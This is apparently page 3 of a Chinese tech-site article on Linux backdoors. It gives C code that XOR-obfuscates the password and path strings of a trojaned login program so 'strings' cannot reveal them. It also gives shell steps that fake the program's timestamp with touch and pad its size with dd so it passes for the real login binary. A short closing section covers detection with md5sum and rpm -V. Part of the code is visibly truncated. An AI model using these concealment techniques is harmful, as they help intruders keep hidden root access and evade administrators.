科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道Linux后门技术及实践方法谈

Linux后门技术及实践方法谈

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

如果系统不允许uid=0的用户远程登录,还需要增加一个普通用户账号。在共享库中嵌入后门函数使用后门口令激活Shell,获得权限能够躲避系统管理员对二进制文件本身的校验.

作者:51cto 2007年10月14日

关键字:

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共3页)

采用异或(XOR)算法
以十六进制方式表示字符串,以达到non- printable的效果
1、编码程序encode.c如下:

char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";
char *de(char *str,char *key)
{
int i=0,j=0,len;
len=strlen(key);
while(str[i] != '\0') {
str[i]^=key[j];
j++;
if(j==len) j=0;
i++;
}
return str;
}
void display(char *str)
{
int i;
for(i=0;iprintf("\n");
}
main()
{
char gets[100], *ptr;
ptr=gets;
scanf ("%s",ptr);
de(ptr,magic);display(ptr);
}
2、编译程序encode,依次执行得到关键字符串与magic串异或后的结果,例如原始login的文件名/sbin/xlogin,经过异或后为:
\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb
3、在后门源代码中这样定义:
Char
login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";
然后插入异或函数char *de()结合同一magic串,就能判断出正确的后门密码。
用strings命令看不到密码、路径等字符串了。
最后的修饰
使后门程序ulogin的strings输出类似于正常login的strings输出,做法为:
在ulogin.c代码中增加一个字符串数组char strings[] ="";,在引号中填入正常login程序的strings输出结果。
以假乱真,增加迷惑性。
调整后门程序的文件日期、大小等属性:
1、日期
# ls -l /sbin/xlogin
-r-sr-xr-x root root 19300 Feb 11 1998
/sbin/xlogin
# touch -t 199802110000 ulogin
# _
2、调整大小
# ls -l ulogin /sbin/xlogin
-r-sr-xr-x root root 7542 Feb 11 1998 ulogin
-r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin
# bc
19300-7542
11758
# dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1
1+0 records in
1+0 records out
11758 bytes transferred in 0.000379 secs (31016746
bytes/sec)
# cat /tmp/t >> ulogin
Login后门的检测
使用命令md5sum对现有/bin/login文件作校验,与以前的值作比较。
使用Red Hat Linux的RPM校验:
# rpm -V util-linux
在入侵者已经利用后门登录的情况下,who是看不到用户的,查看系统进程,查找login -h xxx.xxx.xxx.xxx的字样。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章